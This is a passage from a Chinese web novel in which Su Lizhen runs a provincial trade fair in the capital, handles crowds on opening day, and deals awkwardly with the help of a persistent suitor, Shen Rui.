反正这些企业是肯定会出席活动的,只要他们人来了,肯睁开眼睛看世界了,那她的目的就有机会达到。 苏丽珍的心态好,刘五爷这边却不这么想,张嘴就骂道:“真是一帮烂泥扶不上墙的东西,机会都给他们送到眼前了,都不知道抓住,就活该他们一辈子出不了头!” “我多少有些心理准备。”t苏丽珍又给刘五爷重新倒了杯茶水,“无论是我的公司,还是我这个人,都资历尚浅,大家因此不放心也是情有可原。” 刘五爷听完更加生气了:“这跟资历有什么关系?现在是什么年代了,谁能光凭一把资历,就把厂子里的东西都卖出去?就能叫天底下大伙儿都来买他的账?” “难得有你这个领头羊创造机会拉他们一把,他们还不领情!这个不放心,那个不敢做的,难道你叫人千里迢迢送回去的那些展会图和资料啥的都是假的?他们就不能好好坐下来,认真琢磨琢磨?我看啊,都是一帮既没脑子、又没魄力的主,好好的路都叫他们走窄了。” “大家历来讲究‘眼见为实’,没有亲眼见过,总是会不放心的。”苏丽珍柔声道。 “五伯,您也别动气,我跟您自来亲近,所以在您眼里,我自然是千好、万好。可眼下,他们中有一部分处境不算好,行事谨慎点也不算错……不过,我相信这也只是暂时的,他们不会一直这么固执下去。” 见对方一双铜铃大眼望过来,苏丽珍笑着继续道:“下午四点,今天这18家已经送货过来的企业参展人员也该到了。” 说罢,又顺手将这次活动的宣传方案递给了刘五爷。 各企业派出的参展人员没法跟货车一起过来,不过从辽省到首都的火车基本就那两个时段,上午没人,十有八/九是都赶下午四点这趟车了。 苏丽珍不认为这些企业代表在亲眼看到他们为这次展会所做的努力后,仍然坚持不看好的观点。 就算他们要固执到底,为期三天的展会时间也能敦促他们认真动一动脑子。 刘五爷接过那一沓文件只翻了几下,看着那上面一条条罗列清楚的宣传方式,一下就明白了苏丽珍的意思,不由也笑了起来。 “大侄女说的对,就凭你这皇宫似的大楼,凭你做的这些准备,只要他们脑子不傻,就不会再犯糊涂。” 苏丽珍适时提醒道:“五伯,我和这些企业之前早已经约定好,不管他们这次出多少货,我都帮忙运过来,即使展销会上卖不掉,也会再免费运回去。中间他们临时有什么变动,我是不管的。所以我估计,如果他们改变想法,最后还是得来找您。” 这次展销会能不能成功,只要那些企业参展人员实地走一圈,心里就该有数了。 就算不相信她做的那些,但“珍楼”门口每天三五成群过来打听展销产品的本地居民总能让他们信服吧? 一旦这些企业参展人员也觉得这次活动值得一试,就势必要后悔自家单位只发那么点儿货过来。 而她当初虽说承诺会免费帮忙运货,可不代表她就成了这些企业的专职“司机”,天天得围着他们转。 更何况她好商好量免费上门的时候,这些人看不上,之后她更不会多管。 如果这些企业想临时加货,自然要抓紧时间联系车辆。现在就算一些工厂都有拉货的汽车,但这年头,长途和短途完全是两个概念,所以刘五爷这边作为目前省内规模最大、流程也最快捷灵活的物理配货公司,这活儿大概率会落到他那儿。 刘五爷听了这话,浓眉一皱,立时道:“我才不想搭理这些傻子,我看就该趁这个机会,好好治治他们,也叫他们长点脑子!” 苏丽珍诚恳劝道:“五伯,我知道您偏心我,想为我出口气,可这次难得大伙儿一起把台子搭到了这里,前面九十九步都迈了,也不差这一哆嗦,咱们还是得着眼大局。” “而且这生意场上本就好好坏坏,三十年河东,三十年河西,您这样义薄云天、名声响亮的人物,没必要为了我这点事平白得罪人。” 这话说得既中听、又有道理,刘五爷听得心气儿都顺了,便道:“那好,看在你的面子上,我这次不跟他们一般见识!不过,这些鼠目寸光的家伙,还是得教训一下,这次如果他们来找我,我非得宰他们一顿,叫他们肉疼不可!” 这个苏丽珍自然不会再拦,反而一脸赞同地跟着点头道:“这个我同意,说不定到时候,您这边收的运费越高,他们越是要急着订您的车呢!” 什么情况下运费贵呢?那当然是没车、行程又紧的时候啊! 那些企业一旦动了要多发货的心思,偏巧得知这时候往首都的车都被订出去了,肯定会联想到是这边展销会销量好。这别人都吃着肉了,他们还能不心急? 刘五爷也琢磨通了这里头的意思,不禁再次哈哈大笑起来。 “痛快!大侄女,还得是你,伯伯就爱跟你说话,心里敞亮!” 说完这句,到底又不死心地问了一嘴:“大侄女,我听说你现在个人问题还没解决呢?要不你再考虑考虑我们家小二?” “我家胜利过完年也要考大学,老师说他成绩还行,我明年干脆也让他考到首都来,你俩就试着相处相处,咋样?” 苏丽珍:“……” 刘五爷在首都有自己的办事处,所以在苏丽珍这里小坐了一会儿就告辞了。 临走前,两人定好,今天晚上苏丽珍找一家地道的京城馆子,给刘五爷接风洗尘。 刘五爷前脚走,苏丽珍看了看表,已经快到下午四点了,今天还有最后一趟从凤城过来的火车。 她立即叫了两个男员工,让他们去接站。 还有两天才是正式开展的日子,各大企业派来的企业代表会陆续在这三天内到达,所以这三天时间里,她都要负责派人去火车站接人。 好在这些企业虽然分散在辽省各个地区,但是到首都这边的火车都要经过凤城,一般他们只要看好了从凤城过来的上、下午两趟车就行了。 接到人后,她的人会安排这些企业代表坐上站前的人力三轮车,花一点时间把沿途的几个街区转一转,然后装作不经意地经过苏丽珍花了大价钱在这些主要街道上张贴的展销会宣传海报和展示牌,最后再“偶遇”一次管明月他们的宣传车队。 先让这些企业代表们提前感受一下这波火热的宣传造势,这样等他们来了以后,看到布置一新的活动会场,以及这两天越来越多来看热闹的本地人群时,才会有震撼的感觉。如此,他们那些固执的想法才容易动摇。 苏丽珍有信心,再不济有自家的例子在前面摆着,她就不信到时候看着他们“珍珍”源源不断地卖货,这些人能甘心一直在旁边干看着。 五点钟左右,19名企业参展人员终于到了“珍楼”。 货物已经提前抵达的18家企业,今天只来了13家的代表,其中有7家企业是只派了一个人过来。 如苏丽珍之前预料的,这些在路上已经充分见识到这次展销会的宣传阵势,本就内心起伏的代表们,在亲眼见到了苏丽珍这次展会的规模后,不少人都直接愣了神。 等苏丽珍按惯例下楼跟大家一一见面、打招呼时,难得的,这些平常不大好说话的国企代表们,此刻态度都出奇的好,一点也没有先前打电话时那种时不时冒头的倨傲。 等苏丽珍领着大家把两层的会展场地都走过一遍后,就把人交给了自家工作人员接待。 没过多久,负责陪同接待的工作人员就上楼汇报说,这些企业代表们都急着离开,还向他们打听了附近可以打长途电话的地方,说是要打电话回去报平安。 等工作人员告知大楼内的电话就可以打长途后,这些人又支支吾吾说是想再顺道看看住宿的地方。 当初说好,这些参展的企业代表可以报销往返路费,但食宿要自行解决,所以人家这么说,工作人员也就没再说什么。 刚好他们大楼也是五点半下班,能早一点下班,大家也高兴。 苏丽珍点了点头,表示知道了。 等晚上请刘五爷和室友们吃完饭,再次回到“珍楼”后,不到半个小时,就再次接到了刘五爷的电话。 “哈哈,大侄女,还真让你说着了!咱们吃完饭,我这刚回来,就接到咱老家那边的电话,说有好几家单位都急着往你这边再发一批货,问我能不能马上给他们安排车!” 苏丽珍听得唇角微翘,看来事情成了。 这些单位好面子,大概是真的抹不开再来找她,所以都一股脑去找刘五爷。这样也t好,省得她多费口舌了。 电话那边兀自兴冲冲道:“嘿,大侄女,不瞒你说,我那会儿真想朝着他们狠狠‘呸’一声!你说一个个的,早干什么去了?但凡多动动脑子,何苦要费这个二遍事,既浪费时间、又浪费钱!” “这要不是有你替他们说话,我真懒得搭理他们!” 苏丽珍这才笑着开口道:“我都知道,五伯您是一直站在我这头的。这次能让他们吃点教训也好,现在知道动一动还来得及,就怕真的什么都无所谓,闹着个‘死猪不怕开水烫’,那才是最麻烦的。” 电话那边刘五爷也深以为然,这么多年明里暗里摸爬滚打,他什么不知道? 政策在变,时代也在变,没有谁会一直站在顶峰,总守着那老一套,坐井观天,被甩下也是早晚的事。 第210章 不知道参加展销会的企业是不是互相通了气,这次截止到开展前一天下午,商业大楼一楼和二楼的两间大库房里都被货物塞满了,各家的展位也是在保持美观的同时,尽可能摆上了不少商品。 各单位的参展人员也来了不少,每家最少派了两名企业代表,最多的有四个人。 苏丽珍特地邀请的那六家本地企业也都派了不少人过来,他们没用苏丽珍帮忙运输,却不约而同往这边送来不少货,可见对这次的展销会相当重视。 一时间,整座“珍楼”是人多、车多、各种货物商品多,再加上临近开展,许多慕名前来围观的市民们,总之,这车水马龙、人头攒动的场景堪比当地过年期间的庙会大集,实在热闹得不行,还吸引来了好几家新闻媒体来采访,再次为展会宣传加码,也算意外之喜。 同一天下午,苏家人也来到了首都。 当苏丽珍看到宛如从天而降的家人时,一向要求自己稳重的她也直接惊喜地叫出了声。 “爸、妈,爷爷,姑爷爷,还有振东叔,你们怎么都来了?” 苏厚德乐呵呵道:“我大孙女牵头举办的展销会,我这个做爷爷的怎么能不来?不只我,你姑爷爷也吵着要来,所以我们就都过来给你捧场了!” 苏丽珍看向旁边依旧清瘦、但气色还不错的孟知祥,赶忙上前虚扶一把:“姑爷爷,你们是坐卧铺来的吗?怎么样,累不累,要不要先休息一下?” 孟知祥拍了拍她的手背:“不用,我现在挺好,你别担心……说起来,这回我们还是借了别人的光过来呢!”说完就看着苏丽珍乐呵呵直笑。 苏丽珍失笑,这怎么还卖上关子了。 她把目光看向父母,果然,最藏不住话的苏卫华就一脸兴奋道:“珍珍,我们是坐飞机来的,这不到两个小时就到了,是小瑞给我们订的票!” 苏丽珍闻言,目光微闪。 她下意识看向家人身后,确定没有那道颀长的身影,不禁悄悄松了口气。 这几年,沈瑞的名字就像水滴一样,总是悄无声息地渗入她的生活中。 只是她要兼顾学业和公司,还要留心家里人,经意或不经意地,总是把很少的时间去分配给这个人。 然而就算再不想,她毕竟是个女孩子,有些东西是能够准确地感知到的。 相比一个真正的追求者,沈瑞表现得更像一个成熟可靠的朋友,总是紧守着自己的本分,也牢牢把握着她能接受的距离,从不做多余的事,就只是默默地、执着地出现在她的身边。 他看出她极其在乎家人,所以总是能拿出最大的诚意和耐心去对对待和帮助他们,但他又不会做太多,以免让她感到沉重。 这样的细心和体贴,如果她是一个真正二十出头的年轻女孩子,大概是没办法拒绝这样一个人的。 但她不是! 而且她心里也清楚,自己是不可能跟对方有什么结果的。不只是因为对方是沈哲的叔叔,更因为以她如今的心理状况,这辈子她不可能、也没办法回应任何人的感情。 更别说,这个人本身还聪明敏锐到随时可能勘破她最大的秘密。 即使他从没过分靠近她,甚至可能察觉到她是个有秘密的人,也不曾主动去探寻过什么,但她还是没办法放心。 所以他们之间是不可能的。 她只能选择回避他的感情。 但令她感到头疼的是,在她明确表现出拒绝的态度后,这个人却依然不肯放弃。 这实在出乎她的意料! 她本以为,以他的性格、家世,在遭到拒绝后,不可能再坚持。 现在这样,她实在不知道该用什么态度对待他。 他一直处在朋友的位置,帮过她和她身边的家人很多,却始终注意分寸,更没做过超越边界的事,所以她不能、也不该对他恶言相向。 最终,她也只能躲着、避着,直到对方哪一天想明白,愿意放弃为止。 苏丽珍短暂地分了一下心,很快就整理好情绪,继续陪家人说话。 然而就算她的分神只有短短地一瞬,却还是被一直留心她的苏厚德父子发现了。 爷儿俩对视一眼,苏振东倒没什么,自从两年前无意中确定沈瑞确实对珍珍有意后,他本身对这件事是乐见其成的,甚至这两年没少暗地里给沈瑞帮忙,悄悄通个风、报个信儿啥的。 反倒是他爸苏厚德,明明之前最喜欢沈瑞,可一发现沈瑞中意珍珍后,他立马不乐意了,整天对沈瑞横挑鼻子竖挑眼,这要不是中间还有个沈老爷子,没准儿他爸还得暗戳戳搞点破坏。 他这么想着,忍不住看了眼旁边的老父亲,果然见对方这会儿正悄悄瞪着他卫华大哥,满脸的不乐意。 苏厚德这会儿确实不大高兴,他瞄着那边正兴奋地跟自家闺女描述今天坐飞机过程的苏卫华一眼,不禁有些恨铁不成钢。 这个实心眼的傻孩子,人家在打你闺女的主意都看不出来! 嗐,不过这事,他和振东也有责任!沈瑞这臭小子天天打着他们的名号故意亲近,这才让卫华两口子没看出他打的什么鬼主意,还真把他当成投契的故交小辈了! 偏偏老首长那头又一个劲儿劝他多帮忙,他就算看在老首长的面子上,也不能做什么,真是想想就生气! 都怪沈瑞这个老帮菜,实在太狡猾了! 苏厚德气儿不顺,连带也不想看苏卫华在那儿一个劲儿地夸沈瑞,干脆故意“哎呦”了一声,打断父女俩说话。 “珍珍啊,这怎么这么多人啊!还有这大楼也太气派了,你赶快带我们进去参观参观!” 这一嗓子提醒了众人,尤其苏卫华,一下就把坐飞机的事抛到了脑后,顺着自家干爸的话赶忙道:“对对,咱先参观!还真别说,这大楼跟照片拍的一模一样,真带派啊!” 今年夏天,这栋商业大楼刚建成,她就请人拍了一套照片,让丁大勇带回去给家里人看。 大伙儿的注意力一下被眼前的大楼吸引住了,都迫不及待想进去看看。 苏丽珍就搀扶着孟知祥,在前面带路,领着家人去看布置一新的展销会大厅。 苏厚德朝苏振东露出一抹儿得意的神色,在后者无奈的目光下,忙不迭快走几步,凑到苏丽珍旁边。 “乖孙女啊,等这几天忙完了,你没事早点回家,爷爷这次给你带了不少好东西,到时给你好好露一手,我看你这一个多月好像又瘦了,可得补补!” 苏丽珍不禁笑起来:“爷爷,我不是跟您说了嘛,我的课程大多都结束了,所以这次开学也没那么忙了,您怎么还不放心呢。” “倒是芽芽那边,下半年就升初三了,正是关键的时候,您该多在家陪陪她。” 因为要修双学位,整个大二、大三期间苏丽珍都忙得不可开交。压力大,加上没有多少休息的时间,几乎每次放假回家人都要瘦一圈,家里长辈们心疼得不得了,甚至好几次提出过来陪读,都被苏丽珍拦下了。 苏厚德闻言,不在乎地一摆手:“芽芽这孩子,你还不知道?最惦记的就是你这边,我不来,她都得催着我来。等我回去把你这儿的热闹场面给她讲一讲,她就高兴了,这才有心思学习。” 后头李翠英不禁感叹道:“我本来打算这次让小麦过来,我留在家里陪着芽芽,没想到小姐俩商量好了,一个要在家看店、一个要认真学习,说等放寒假,再过来这边瞧瞧。” “真没有t比咱们家的孩子们更贴心的了。” 苏卫华也接茬:“一会儿给小麦回个电话,省得孩子惦记。顺便再叮嘱一下,这两天一定早点关门……其实要我说,就干脆关门休息几天得了,偏这孩子非要坚持开着……” 苏丽珍没有插话,只在旁边静静听着,唇角的笑容却越来越深。 第二天,晴空万里。 上午八点,锣鼓声声震天响,印着四十四家参展企业名字的彩旗徐徐飘扬。 展销会正式开幕! 挂着鲜红绸布的大门刚被打开,早已经在楼前等候多时的人们便摩拳擦掌,准备一股脑地冲进去。 这时,大门前两侧四名安保人员立时将大家拦住,态度礼貌、但又十分坚决地请大家排好队,然后再依次进入。 有不耐烦的人刚想张嘴喷一句,但是一抬头看清这几个人的大体格子,以及后面同样在组织排队的另外几个大块头保安,立马消停了,开始老老实实排队。 人都有从众心理,只要一开始把握好节奏,让大家好好排队,后面就不容易出乱子。 这次的展销会不同于之前的抽奖活动,抽奖那次是全市两家百货公司加五家“珍珍”自营门店同时举行,相互之间起到了分流的作用。 而且那次他们只针对自家产品,在店内买完东西,之后就可以去室外参加抽奖,一半室内,一半室外,加上很多人更喜欢在室外看抽奖,无形中也减少了室内接待和销售的压力。 可这次不一样,展销会完全是在室内举行。“珍楼”一、二层可利用的空间加一起接近八百平,这个数字乍一看不小,但其中还要刨去展位的一半面积,所以两层楼同时最多能接待的顾客上限在400人左右。 一旦超过这个上限,大楼内各项设施及工作人员的接待工作都要受影响,导致顾客体验感下降。而且人一多,极易出现各种突发状况,一个不好,甚至会造成踩踏事故。 所以为了保证活动安全顺利进行,初期人多的时候,肯定要对同时进入大楼的顾客人数进行控制。 第一步就是要维持秩序,保证进入会场的人数在可控范围。 当然,每一位顾客都是宝贵的,他们也不能把人拦在外头后就什么也不管了。 为此,苏丽珍安排了一个专程从辽省请来的小剧团在大楼前为大家表演辽省特色文化节目。 戏台是前一天下午搭好的,之前开幕式的锣鼓队在这里表演,演出结束后,剧团的人就开始上台表演节目。 东北大鼓、秧歌舞、皮影戏,一个个代表辽省传统文化的特色节目应接不暇,也让被拦在大门外不得不等候的人群们转移了注意力,愿意耐着性子多等一等。 同时,苏丽珍又让人联系最近的饭店,熬了几桶大枣红糖水和冰糖梨子水发给大伙儿,让排队排得心焦的人都能润润嗓子、甜甜嘴儿。 这几个办法一实施下来,原本被拦在外头怨声载道的人群立马安静了不少。 许多人都被台上充满地方特色的文化节目吸引,一边喝着滋味十足的果饮,一边聚精会神地欣赏节目,这一眼望不到头的队伍好像也没那么让人闹心了。 眼见这边局势控制住了,苏丽珍立即把目光转向会场内。 负责维持秩序的陈红梅很快给她报告了好消息! 截止展销会开幕短短一个小时内,四十四家企业的展位全部顺利“开张”。其中尤以她的“珍珍”,加上另外两家凤城老字号的糖果厂和酒厂业绩最好,已经卖出了上百件商品,直接来了个“开门红”! 虽然全部都是零售单,但是积少成多,这一整天下来,销售额也不是个小数字,顺带还能在当地树立口碑,培养客户群体。 而且展销会一共三天时间,先期肯定以零售为主,因为许多大主顾这时还处在观望状态,所以急不得。要想签出大单,怎么也得等展会中后期,尤其是最后一天,如果顺利的话,只这一天的时间就能签下足够企业忙一年的单子。 有几家企业带头取得了好成绩,也算为整场展销会开了一个好头。众人为此都十分兴奋,尤其看到那些大包小包拎满手的顾客,对这次活动更多了几分信心。相信这一次不管是他们“珍珍”,还是别的企业,都能通过这次展销会有所收获。 一时间,所有人都干劲十足,全身心投入到紧张忙碌的工作中。管明月、吕新芳她们几个更是楼上楼下、里里外外,四处支应,真正是把自己当成一块“砖”,哪有需要就往哪搬。 时间也在忙碌中过得飞快,随着各展位一件件、一单单的商品不断卖出,许多企业展位上预先备好的货物直接清空了一半,最多的甚至卖掉了三分之二,销售形势空前火爆。 直到临近中午,本以为到了饭点儿,这热闹程度会有所下降,没想到来逛展销会的人不减反增。《 》 210-220 第211章 苏丽珍让人过去留意了一下,才知道这些人中有很多是趁着午休时间特意过来的,其中还有不少学生呢。 几个负责维持秩序的保安这会儿嗓子都哑了,楼前等候进入的队伍却始终如同一条长龙,是半点没见少。 对这种情况,苏丽珍等人是又喜又愁。喜得是这个时候还有这么多人排队,今天这客流量算是稳了; 愁得是,包括苏丽珍在内,大家到底低估了这次展销会的火爆程度。 先前为排队的人群准备的几大桶果饮眼瞅着要见底儿,管明月赶忙又安排了人去最近的饭店加订。 还有表演的辽省剧团,原本苏丽珍跟对方定好,是每天上午、下午各表演两个小时,连续表演三天。 但因为这边排队等候的人一直不见少,她只能临时请求对方加演。从早上八点到现在,人家已经一口气表演了三个半小时了,实在是坚持不住了。 倒不是剧团的人受不了,因为苏丽珍付的报酬高,人家很愿意吃这份苦,只是他们剧团本来规模就不大,这次过来的人也不多,而且所有表演都是有计划的,临时加一场、两场的无所谓,但要都照今天上午这么个加法,那今天下午的节目就不够安排了,所以剧团的负责人只能遗憾地对苏丽珍摇头,表示只能演到这儿。 苏丽珍这边刚把剧团负责人送走,另一头,管明月就皱着眉头过来了。 苏丽珍一看她这副模样就知道这趟买果饮不顺利。 果然,管明月看见她就道:“珍珍,现在正好是饭点儿,之前给咱们煮果饮的那家饭店腾不出人手和灶台,要咱们过四十分钟再去。” 苏丽珍蹙眉,过四十分钟,加上要煮够两大桶的红枣汤和梨子水怎么也要二十分钟,这加一起就要一个小时了,时间太长了。 她抬头见管明月嘴角都起皮了,便把之前苏爷爷给她送过来的水杯递过去,示意她先喝点水。 管明月接过水杯,却没顾上喝,兀自道:“也不知道是不是受咱们这儿展销会影响,今天左右两条街的饭店,不管是国营、还是私营,家家满员。我把这几家都跑了一遍,也都说现在没工夫。” 苏丽珍看了眼楼外蜿蜒曲折排了几圈的长龙,十月初的首都中午,天还是有点热的,这个时候停了节目表演,又突然没了一直提供的果饮,人们肯定会有意见。 尤其是那些放弃午休时间,大老远赶过来的人,难免会觉得被差别对待,进而影响对她这个主办方的印象。 她之前做了这么多,如果因为这么点小事引起众人不满,未免太可惜。 管明月也随着她的目光一起看向窗外,有些自责道:“这事怪我,应该提早做好准备的……珍珍,要不然咱们买点材料到附近找户人家帮忙煮一下吧!” 如果赶上人家家里有现成的食材,还能节省点时间。 苏丽珍也没有别的办法,只能先这样。这事也怪她,到底是经验不足,上午大多数时间都用在各各展位间,忽视了这些看似不重要、实则挺要命的问题。 不过她还是先安慰管明月道:“不是你的错,我上午来来回回几趟,也没想到这些……咱们现在先不说这个,你就在这附近找几户人家问问,没有红枣、梨子,有茶叶也行,总比白开水好看,好歹先t把这阵子撑过去再说。” 管明月点头,伸手把水杯递还给苏丽珍,这就要走。 却在这时,之前跟着管明月出去订果饮的司机小张忽然兴奋地跑过来,激动道:“苏总、管老师,外头有位沈同志说是苏总您的朋友,他拉了整整一大车的汽水过来给您,还带了人要给咱们放电影!” 管明月:“!” 苏丽珍:“……” 管明月一脸惊喜地看向苏丽珍:“珍珍,是不是你打电话叫的‘外援’?” 苏丽珍一时不知道该怎么接这话,只能深吸一口气道:“先出去看看。” 管明月刚刚的问题一出口就意识到自己问错了,如果珍珍真的找了外援,不可能不告诉她,刚刚也不会那样发愁,甚至说出让她先用茶水顶一阵的话了。 那这人是怎么回事?她在旁边偷偷觑着好友,发现那张格外白皙的小脸此刻绷得紧紧的,就算之前被人刁难、质疑,都没见她露出这么紧张的情绪,她直觉这位突然从天而降的“沈同志”有点不一般。 直到她亲眼见到了这位“沈同志”,先是眼前一亮,接着立马想起来,这人她之前还真见过两回,是来学校找过她们家小六的。 当时离得远,看得不清楚,只觉这人远远看着身姿提拔、气质出众,就挺让人印象深刻的,如今离近了细瞧,简直不得了! 这么出众的人,说句万里挑一也不为过; 另外,根据她暗中观察,这个人似乎还对她们家小六存了点别的心思。 因为这位沈同志看小六的眼神,就像三月倒春寒时,房檐下那一丛丛冰碴遇上了正午的太阳,“啪”地一下就炸开了。 管明月觉得,啥都不用问,她已经找到了这位沈同志甘当“及时雨”的原因。 只是,她瞄见她们家小六这会儿明显比平时僵硬了两分的面庞,决定还是装作啥也没看出来,只随着小六跟对方简单打了个招呼,就麻溜闪出去了。 看着外头一大车厢满满登登的橘子汽水,还有楼前长队里响起的阵阵有关看电影的热闹喧哗声,自觉危机解除的管明月笑得见牙不见眼。 虽然这个类比不太恰当,但是她在此刻还是深刻理解了“美人计”能被列入“三十六计”里的原因了。 窈窕淑女,君子好逑啊! 古人诚不欺我。 相比好友的轻松愉快,此时的苏丽珍却是心情复杂。 沈瑞的出现,让她觉得意外,又不意外。 想到对方对她的心思,她觉得一双脚都有些发沉,尤其等见了人,看着对方那双什么也没说、又好像什么都说了的含笑眼神,她就一阵头皮发麻,甚至有股冲动,当即想开口谢绝对方的帮助。 只是当目光触及一旁肉眼可见地流露出开心的明月和小张他们,这嘴巴就张不开了。 等明月带着人飞快躲了,只留下她一个人时,这话就更说不出口了。 毕竟先前没拒绝,现在再提,简直是故作姿态,更显得矫情了。 没办法,既然没拒绝,就大大方方道谢吧! 不料,正当她想郑重跟对方表达谢意的时候,沈瑞温和的声音先响起。 “恭喜你展销会正式开幕,爷爷说应该给你送一份贺礼,我们就商量了一下,觉得这样的盛事合该配一份同样喜庆的礼物,所以他老人家亲自联系人,挑了几部风评不错的电影,希望能在你展会期间播放。要是看得人多,也能给你们多添几分喜庆。” 苏丽珍目光微闪,一时分不清是沈老爷子自己的想法,还是他故意把这事推到后者身上。 但不管是谁的意思,作为直接的受益人,她都必须要表达感谢。 “谢谢沈大哥,也替我谢谢沈爷爷,等展销会结束,我会亲自登门道谢的。” “给我的谢意,我收下了。至于爷爷那里,我想他应该很欢迎你去看他。而且不只他,”沈瑞唇角含笑,“你知道的,其实我们一家人都很喜欢你。” 苏丽珍有一瞬间的迟疑,总觉得这最后一句话叫他说得无端多了几分缱绻的味道。 在只有他们两个独处的此刻,莫名暧昧。 她心里有些不得劲,一时不知道是不是自己过于敏感,正当她努力收敛心神,准备换个话题时,对面那人却又一本正经道:“至于那一车汽水,我想着你这边参展的企业人员不少,说不定能用上。” “刚好我跟汽水厂的负责人认识,这车汽水他是按成本价给我的。以我们两家的关系,我不可能为这点东西来赚你的钱,所以你直接按成本价给我就是,稍后我让人把结算清单给你送过来。” 苏丽珍:“……” 她再一次感到无语,这人还真把她琢磨得透透的,知道她不愿意平白接受他的东西,故意给她来这一出。 可问题是,他们彼此心里都明镜一样,有些东西根本不能只用钱来衡量,比如他这一次次万分及时又恰到好处的帮助。 这会儿,她心里真的是滋味难明,有心想再重申一次,希望对方不要再在她身上花那么多心思,可是明明自己上一秒才接受人家的帮助,现在再强调“朋友”什么的,实在虚伪。 这感觉太糟糕了,两辈子了,只要涉及感情问题,她总是处理不好! 最后,她强打起精神,郑重跟对方道:“沈大哥,谢谢你。不管怎么说,这次你都帮了我大忙,我欠你一次人情,今后只要你用得上、而我也能做到的,你尽管提,我绝不推辞。” 见苏丽珍又是这种过于正式,以至于显得有些“公事公办”的态度,沈瑞眼中的笑意明显淡了几分。 他心里喟叹一声,终究不舍得把对方逼太紧,便点了点头,温和道:“好,就按你说的来。” 然后又转移话题道:“本来爷爷和我爸妈他们也想过来的,但我看你这儿中午的人也不少,要不然我让他们晚点再来?” 苏丽珍先是松了口气,又听说沈家人要来,自然十分重视,想了想道:“下午恐怕人也不少,中午有很多是趁着午休时候过来的,我估计晚饭前下班时间还会有一波高峰。要是沈爷爷他们愿意的话,就吃完晚饭再过来,你看怎么样?我们晚上七点半才闭展的。” 沈瑞没什么意见。 正好这时,有员工过来请示工作,他便果断提出让苏丽珍先忙,他要自己去展厅里转转。 这个要求实在是符合苏丽珍心意,说实话,现在她跟对方独处的每一分钟都让她倍感压力,比处理一宿公务都累。 毕竟是第一次办这么大的活动,涉及的参展企业众多,再加上是开展第一天,大事小情的多不胜数。没多久,她就彻底沉浸在忙碌的工作中,很快把沈瑞抛到了脑后。 等她忙完一阵子,再抬头才猛然想起还有这么个人,正准备到展厅里找一找,就见管明月和陈红梅一起过来了。 先是管明月一脸坏笑道:“找人呢?嘿嘿,人家半个小时前就走了!” 这时,窗外忽然传来一阵鼓掌声,就听管明月继续道:“喏,你看看,人家帮忙安排的电影都放完一场了,你才把人想起来,也太粗心了!” 苏丽珍顺着敞开的窗户往外看,这会儿楼前还是人满为患,不过排队的人没有之前多,有许多是因为听说这边放电影,所以即便已经逛完展会也没急着离开,直接拎着大包小包留下来看电影了。 相比管明月,陈红梅就正经多了,告诉苏丽珍道:“沈同志离开的时候特意说了,放电影的人会连续三天过来,每天具体什么时候放、放几场都是咱们说的算。” “还有汽水的结算清单,我看了下,因为是成本价,只有市价的一半,虽然成本还是比那些果饮高,但也已经很实惠了。” 而且贵有贵的好处,下午因为免费发汽水,来的人可比上午还要多。 这一点她不说,苏丽珍也明白。 陈红梅继续道:“沈同志还给特地留了一个联系方式,说是如果咱们的汽水不够用,可以直接联系这个人,只要是展会期间咱们需要的汽水,对方都会按照之前的价格来。” “此外,沈同志还说……”说到一半,她忽然顿了顿,看着苏丽珍的眼中瞬间盛满了笑意。 苏丽珍直觉不好,正想阻止她继续说下去,对面陈红梅已经语速飞快地说了起来。 “沈同志还说,要我们记得提醒你按时吃饭,说你看t起来比开学前又瘦了一点!还说他家跟你干爷爷家是故交,如果我们这次遇到什么困难不好解决,可以随时给他打电话!” 管明月这时便在旁边举手道:“看看人家沈同志多体贴,不但能在危急关头出手,还时刻记挂着要帮忙分忧,简直安全感十足!就冲这些,作为咱家小六的三姐,我单方面给他打七十五分。” 陈红梅也一本正经地点头附和:“虽说你们是故交,但毕竟人心隔肚皮,事关终身,我个人认为怎么慎重都不为过,还得多观察!不过人家这次确实帮了忙,表现尚可,所以我给六十分。” 苏丽珍:“……” 管明月不同意了:“二姐,你怎么才给六十分?你忘了之前沈同志一直默默站在那里看着咱家六儿,一站就是半个小时,还不让咱过去打扰来着?咱小四和小五都感动了,直接给了八十分呢!” “连芳姐都有七十分呢!” 第212章 苏丽珍深吸一口气,所以这是一寝室的人都知道了! 这人未免太狡猾了,他什么都没说,偏偏又什么都说了! 她心里有些不虞,偏偏这时刘思彤和万美君也跑过来,听她们提起沈瑞,便好奇地拉着苏丽珍打听。 沈瑞去学校看她都是以沈老爷子和苏爷爷之名,每次来去匆匆,两人统共说不上十分钟的话,所以寝室里也只有管明月和吕新芳凑巧见过沈瑞两次。 其中,管明月还都是远远看到的。 这会儿,大家都对这人充满了好奇,倒不是她们天生喜欢“八卦”,主要是沈瑞一看就不是普通人,便是身处首都大学、见惯天之骄子的她们也不得不承认,这人跟她们家小六还是很登对的。 今天又得了沈瑞这场“及时雨”照拂,不难看出这位不但长相上一表人才,个人也很有能力,这印象分一下就拉满了,甚至很为好友有这么一位优秀的追求者高兴。 本来想借机打趣笑闹一番,结果几人却发现苏丽珍兴致不高,她们这才后知后觉意识到,小六貌似不大喜欢这位沈先生。 自觉不对劲儿的几人相互看看,知道她们怕是乱点了这“鸳鸯谱”,立时不敢再闹了,麻溜给自己找点活儿,赶紧溜了。 苏丽珍看着一下就躲得远远的几个好友,也是好笑又无奈。 也不怪大伙儿,沈瑞这个人确实堪称良配,单是相貌、家世就胜她一筹了。 只可惜,她没这个福气,今生不会跟任何人结缘。 不过室友这里好说,解释一下自己不喜欢对方就是了,问题还是沈瑞那边。 她总觉得今天的沈瑞有些急躁,之前她一度认为这个人总是凡事智珠在握,不焦不躁的,没想到今天就表现出这么急迫的一面。 这事也怪她自己,拿人手短,舍不得利益,要是第一时间拼着承受损失、以及不顾两家的交情,拒绝到底,也就不会有这么多事了。 她蹙着眉,想着等展销会结束,自己还是要找沈瑞好好谈一谈。 就算被认为翻脸无情也无所谓,这次她的态度必须强硬起来。 欠下的人情债,她会努力偿还。 沈爷爷那里,她也会好好解释,尽量不叫老人家心里留疙瘩。 是时候做出取舍了,合该她来当这个恶人,也许这对她和他来说都更好。 另一边,沈瑞独自坐在办公室里,难得地望着窗外车水马龙的长街发起了呆。 也不知道过了多久,他才低低叹了口气,打内线给助理,让他帮忙订一张明天飞往特区的机票。 助理愣了下,有些不确定道:“可是沈总,您之前不是说这次要在首都多留一阵子吗?” 沈瑞温和道:“临时有别的计划,去订票吧。” 助理赶忙应了一声,照做。 挂了电话的沈瑞忍不住轻捏眉心。 